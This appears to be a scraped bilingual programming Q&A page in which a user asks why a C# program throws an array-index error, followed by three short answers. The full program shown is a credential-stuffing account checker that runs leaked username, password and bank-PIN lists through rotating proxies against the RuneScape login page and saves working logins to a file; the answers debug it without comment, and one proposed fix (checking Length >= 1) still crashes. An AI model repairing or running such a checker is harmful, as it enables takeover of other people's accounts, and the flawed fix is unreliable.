'索引超出了数组'c#help的范围。 [英] 'Index was outside the bounds of the array' c# help.

查看:123
本文介绍了'索引超出了数组'c#help的范围。的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

嘿,



我遇到这条线的问题,我不断收到错误信息''指数数组的边界之外''。这不是我的程序,我没有使用过c#所以我不确定它意味着什么或如何解决它。



这是问题所在,



accounts.Add(details [0] .Substring(6)+:+ details [1] .Substring(10));



这是整个计划。

Hey,

I am having problems with this line, i keep getting an error that says ''Index was outside the bounds of the array''. This isnt my program and i haven''t used c# before so im not exactly sure what it means or how to fix it.

This is the line with the problem,

accounts.Add(details[0].Substring(6) + ":" + details[1].Substring(10));

And this is the entire program.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.IO;
using System.Threading;

namespace ConsoleApplication2
{
    class Program
    {
        static List<String> accounts = new List<String>();
        static List<String> proxies = new List<String>();

        static void Main(string[] args)
        {
            int threads = 4;
            loadAccounts();
            loadProxies();
            Console.WriteLine("Enter the amount of threads to run (4 default):");
            threads = Int32.Parse(Console.ReadLine());
            Console.WriteLine("Starting on " + threads + " threads...");
            for (int i = 0; i < threads; i++)
            {
                ThreadPool.QueueUserWorkItem(new WaitCallback(Worker), i);
            }
            Console.ReadLine();
        }

        private static void Worker(object state)
        {
            int threadId = (int)state;
            string account = null;
            while ((account = getAccount()) != null)
            {
                String[] acc = accounts[0].Split(':');
                if (CheckAccount(acc[0], acc[1]))
                {
                    Console.WriteLine("Thread: " + threadId + " - valid account - Username: " + acc[0] + " Password: " + acc[1]);
                    WriteToFile("Thread: " + threadId + " - Username: " + acc[0] + " Password: " + acc[1] + (acc.Length > 2 ? "Bank pin: " + acc[2].Substring(5) : ""));
                }
                else
                {
                    Console.WriteLine("Thread: " + threadId + " - invalid account - Username: " + acc[0] + " Password: " + acc[1]);
                }
                accounts.RemoveAt(0);
            }
            Console.ReadLine();
        }

        private static Boolean CheckAccount(String username, String password)
        {
            while (true)
            {
                string proxy = getProxy();
                string reply = null;
                try
                {
                    byte[] buffer = Encoding.ASCII.GetBytes("mod=www&ssl=0&dest=title.ws&username=" + username.Replace(" ", "20%") + "&password=" + password.Replace(" ", "20%"));
                    HttpWebRequest WebReq = (HttpWebRequest)WebRequest.Create("https://secure.runescape.com/m=weblogin/login.ws");
                    WebReq.Proxy = new WebProxy(proxy.Split(':')[0], Int32.Parse(proxy.Split(':')[1]));
                    WebReq.Method = "POST";
                    WebReq.Referer = "https://secure.runescape.com/m=weblogin/loginform.ws?mod=www&ssl=0&dest=title.ws";
                    WebReq.ContentType = "application/x-www-form-urlencoded";
                    WebReq.ContentLength = buffer.Length;
                    Stream PostData = WebReq.GetRequestStream();
                    PostData.Write(buffer, 0, buffer.Length);
                    PostData.Close();
                    HttpWebResponse WebResp = (HttpWebResponse)WebReq.GetResponse();
                    Stream Answer = WebResp.GetResponseStream();
                    StreamReader _Answer = new StreamReader(Answer);
                    reply = _Answer.ReadToEnd();
                    if (reply.Contains("Login Successful"))
                    {
                        return true;
                    }
                    else
                    {
                        return false;
                    }
                }
                catch
                {
                    //Console.WriteLine("Bad proxy " + proxy);
                    removeProxy(proxy);
                }
                Thread.Sleep(30);
            }
        }

        private static String getAccount()
        {
            lock (accounts)
            {
                if (accounts.Count > 0)
                {
                    String account = accounts[0];
                    accounts.RemoveAt(0);
                    return account;
                }
            }
            return null;
        }

        private static void removeProxy(String proxy)
        {
            lock (proxies)
            {
                proxies.Remove(proxy);
            }
        }

        private static String getProxy()
        {
            lock (proxies)
            {
                return proxies[new Random().Next(0, proxies.Count)];
            }
        }

        private static void loadProxies()
        {
            using (TextReader tr = new StreamReader("proxy.txt"))
            {
                string line = null;
                while ((line = tr.ReadLine()) != null)
                {
                    proxies.Add(line);
                }
            }
        }

        private static void loadAccounts()
        {
            using (TextReader tr = new StreamReader("accounts.txt"))
            {
                string line = null;
                while ((line = tr.ReadLine()) != null)
                {
                    String[] details = line.Split('\t');
                    accounts.Add(details[0].Substring(6) + ":" + details[1].Substring(10))
                }
            }
        }

        private static void WriteToFile(String account)
        {
            using (StreamWriter w = File.AppendText("validaccounts.txt"))
            {
                w.WriteLine(account);
                w.Flush();
            }
        }
    }
}

推荐答案

错误意味着它说的是什么。这段代码看起来太密集了,对于那些不知道C#或一般编程甚至尝试玩的人来说。



accounts.Add(详情[0]。子串(6)+:+详细信息[1]。子串(10));



名为details的数组少于2个元素,所以当你尝试为了访问第一和第二个元素,其中一条线正在爆炸。永远不要在没有检查你想要的东西的情况下访问数组,是否存在。
The error means what it says. This code looks too dense for someone who doesn''t know C# or programming in general to even attempt to play with.

accounts.Add(details[0].Substring(6) + ":" + details[1].Substring(10));

The array called details has less than 2 elements, so when you try to access the first and second elements, one of those lines is blowing up. Never access an array without checking what you want, is there.


完全正确!您的数组为空或子串为零。为什么不给你添加断点



Exactly! Either your array is empty or your substrings are zero. Why don''t you add a break-point at

String[] details = line.Split(''\t'');





并确保您收回帐户并且它们符合子串的长度。



and make sure you are getting back accounts and they meet the length for your substrings.


在访问 Detail 数组的元素之前添加if条件

add if condition before accessing elements of Detail array
String[] details = line.Split('\t');
if (details.Length >= 1) 
{
    accounts.Add(details[0].Substring(6) + ":" + details[1].Substring(10))
}



快乐编码!

:)


Happy Coding!
:)


这篇关于'索引超出了数组'c#help的范围。的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆